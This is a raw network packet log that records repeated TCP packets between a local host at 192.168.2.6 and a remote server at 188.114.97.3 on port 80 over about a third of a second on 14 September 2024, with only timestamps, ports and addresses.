Sep 14, 2024 18:44:15.777293921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.777323008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.777345896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.782059908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.782109022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.782128096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.782143116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.782175064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.782193899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.782207966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.782275915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.786798000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.786847115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.786880016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.786901951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.786911964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.786942959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.786968946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.791660070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.791709900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.791734934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.791743040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.791775942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.791801929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.796386957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.796421051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.796447992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.796469927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.796503067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.796525955 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.796531916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.796566963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.796582937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.801229000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.801261902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.801292896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.801430941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.801451921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.801464081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.801534891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.806080103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.806112051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.806143999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.806180000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.806231022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.806282043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.806293964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.810893059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.810925961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.810950041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.811012030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.811043978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.811060905 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.815736055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.815788031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.815797091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.815819979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.815854073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.815872908 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.815886021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.815917015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.815934896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.820497036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.820530891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.820563078 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.820605993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.820637941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.820657969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.825284958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.825335979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.825345993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.825367928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.825402021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.825418949 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.825434923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.825480938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.831420898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.831471920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.831505060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.831528902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.831537008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.831569910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.831585884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.839032888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.839083910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.839097977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.839117050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.839149952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.839168072 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.843888998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.843939066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.843945026 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.843971014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.844003916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.844017982 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.844036102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.844069958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.844083071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.848644972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.848694086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.848725080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.848726988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.848759890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.848779917 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.853418112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.853467941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.853475094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.853501081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.853533030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.853552103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.858711004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.858766079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.858774900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.858808041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.858839989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.858853102 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.858867884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.858900070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.858915091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.864258051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864290953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864322901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864324093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.864355087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864377975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.864386082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864418983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864447117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.864449978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864497900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864521980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.864530087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864562988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864588022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.864593983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864628077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864655018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.864679098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864728928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864734888 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.864758968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864792109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864808083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.864824057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864856005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864880085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.864886999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864902973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864933968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864943981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.864967108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.864979029 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.864995003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865026951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865046978 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865058899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865091085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865109921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865120888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865149975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865165949 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865181923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865215063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865237951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865243912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865274906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865302086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865305901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865336895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865360022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865370035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865401030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865422010 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865432978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865461111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865482092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865493059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865524054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865545034 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865551949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865585089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865600109 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865616083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865648031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865669966 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865684986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865715027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865739107 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865747929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865780115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865797997 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865813017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865844011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865855932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865875006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865906954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865921974 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.865940094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865969896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.865993977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.866056919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866106033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866106987 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.866137028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866168022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866183996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.866200924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866236925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866257906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.866267920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866300106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866317987 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.866332054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866364002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866379023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.866395950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866426945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866441965 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.866458893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866496086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866512060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.866528034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866559982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866575956 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.866590977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866622925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866640091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.866655111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866694927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866708994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.866728067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.866780996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.866981030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867031097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867063046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867080927 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.867094994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867121935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867149115 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.867155075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867187023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867203951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.867219925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867252111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867274046 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.867284060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867315054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867333889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.867347002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867379904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867409945 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.867440939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867474079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867491961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.867506981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867538929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867558956 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.867572069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867604971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867619991 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.867635965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867682934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.867896080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867928982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867960930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.867980957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.867994070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868031025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868040085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.868063927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868096113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868120909 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.868129969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868161917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868195057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.868195057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868228912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868247986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.868263006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868294954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868316889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.868326902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868359089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868371964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.868637085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868669987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868694067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.868701935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868733883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868752956 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.868765116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868798018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868813038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.868829966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868861914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868875027 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.868892908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868923903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.868943930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.868957043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.869009972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.080857038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.080928087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.080962896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.080991030 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.080996037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081047058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081049919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.081079960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081111908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081130028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.081145048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081178904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081196070 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.081212044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081249952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081271887 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.081304073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081337929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081358910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.081470013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081518888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081526041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.081552029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081583977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081605911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.081617117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081648111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081676006 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.081681013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081713915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081733942 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.081746101 CEST	80	49722	188.114.97.3	192.168.2.6
